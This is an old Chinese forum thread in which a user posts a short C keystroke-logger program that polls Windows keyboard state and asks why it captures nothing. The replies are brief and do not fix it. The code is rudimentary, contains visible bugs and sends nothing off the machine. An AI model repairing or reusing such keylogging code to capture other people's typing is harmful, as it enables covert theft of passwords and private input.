首页
社区
课程
招聘
为什么得不到键盘按键呢?请大家指教,代码很短,请大家帮忙分析一下原因
发表于: 2009-11-25 19:05 3615

为什么得不到键盘按键呢?请大家指教,代码很短,请大家帮忙分析一下原因

2009-11-25 19:05
3615
请大家帮忙,本人没有其他目的,只是想学习这个古老的技术。下面是代码,希望大家指明一下程序为什么记录不到键盘:

#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#define VK_A 0x41
#define VK_Z 0x5A
#define VK_0 0x30
#define VK_9 0x39
//-----------------------------------------------------------------------------------------------
DWORD KeyBoardFilter(BYTE *_CurrentKeyboardState,BYTE *_RecordBuf)
{
static DWORD NumberOfKeys;
static BYTE CapsLock,Lshift,Rshift,NumLock;
CapsLock=_CurrentKeyboardState[VK_CAPITAL];          ;判断这几个控制键,主要是为了区分大小写
CapsLock&=1;
NumLock=_CurrentKeyboardState[VK_NUMLOCK];
NumLock&=1;
Lshift=_CurrentKeyboardState[VK_LSHIFT];
Lshift&=0x80;
Rshift=_CurrentKeyboardState[VK_RSHIFT];
Rshift&=0x80;                                 
for (WORD i=0;i <VK_NUMPAD9+1;i++)
{
if((i>=VK_A&&i <=VK_Z))
{
if(_CurrentKeyboardState[i]&0x80)
{
if (CapsLock==1||Lshift==0x80||Rshift==0x80)
_RecordBuf[NumberOfKeys]=(BYTE)i+0x20;
else
_RecordBuf[NumberOfKeys]=(BYTE)i;
printf("按下的字符:%c\n",i);
NumberOfKeys++;
break;
}
}
else if (i>=VK_0&&i <=VK_9)
{
repeat: if(_CurrentKeyboardState[i]&0x80)
{
_RecordBuf[NumberOfKeys]=(BYTE)i;
printf("按下的字符:%c\n",i);
NumberOfKeys++;
break;
}
}
else if (i>=VK_NUMPAD0&&i <=VK_NUMPAD9)
{
if (NumLock)
{
if(_CurrentKeyboardState[i]&0x80)
{
i-=0x30;
_RecordBuf[NumberOfKeys]=(BYTE)i;
printf("按下的字符:%c\n",i);
NumberOfKeys++;
break;
}
}
}
else if (i==VK_BACK)
{
if (NumberOfKeys!=0)
{
NumberOfKeys--;
_RecordBuf[NumberOfKeys]=0;
}
break;
}
}
return NumberOfKeys;
}
//
int main()
{
BYTE CurrentKeyoardState[256]={0};
BYTE RecordBuf[1024];
//----------扫描键盘-----------------------------------------------
while (TRUE)
{
GetKeyboardState(CurrentKeyoardState);
DWORD j=KeyBoardFilter(CurrentKeyoardState,RecordBuf);
Sleep(110);
}
return TRUE;
}

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 522
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
改成sleep 1 试试
2009-11-25 19:18
0
雪    币: 50
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这是C?
我看不懂。没有入口函数,也没有消息,你怎么处理键盘消息?
2009-11-25 20:45
0
雪    币: 225
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
大家帮忙分析一下啊,自己顶一下
2009-11-27 20:52
0
游客
登录 | 注册 方可回帖
返回
//